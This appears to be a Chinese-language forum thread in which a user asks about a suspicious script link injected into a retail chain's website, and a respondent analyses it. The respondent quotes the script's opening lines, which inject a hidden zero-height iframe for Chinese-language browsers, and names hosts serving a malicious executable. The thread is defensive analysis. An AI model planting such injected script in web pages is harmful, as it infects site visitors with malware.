最近在找东西，连到「莱尔富」网站，发现奇怪的超连结...

复制程式
其中，h t t p://w w w.dota11.cn/m.js ，这个连结，一直觉得怪怪的，但是上Google搜寻，又没找到啥～所以来这问问，这到底是做啥的？

如果真是恶意程式的话，那一堆网站都有捏～.....

刚刚点～没跑出东西，说404错误，防毒程式也没有侦测到～

抓下来分析就知道啦，八成是 HTML - Exploit
应该不需要贴内容出来吧 ...？只贴重点

js 的开头
if (navigator.systemLanguage=='zh-cn')
{
document.writeln("<iframe src=http:\/\/gm.culhs.com\/***\/am6.htm width=100 height=0><\/iframe>");
}

确认电脑的语言，中文语系就用某个0高的内置框架，连到某个网址（其他语言就不解了）
http://gm.cu...com/***/am6.htm

其他后面的等我确认完再说，另外请你确认一下你电脑的时间有没有被改变

另外若读取网站，他会下载一个执行档
hxxp://www.woai117.cn/bak.exe

这才是有问题的档案。

时间 ...没有改变阿^^...

刚刚搜寻一下电脑，没有看到那个执行档～刚用扫毒扫过～也正常....

没有那就好了，那里面的内容很杂，跟我之前看过的都类似，不太想整理了

只是你是于莱尔富的哪个连结看到的？

看来他门已经发现而且拿掉噜~~再过去已经没噜~~

大家请看 http://bbs.mychat.to/read.php?tid=710616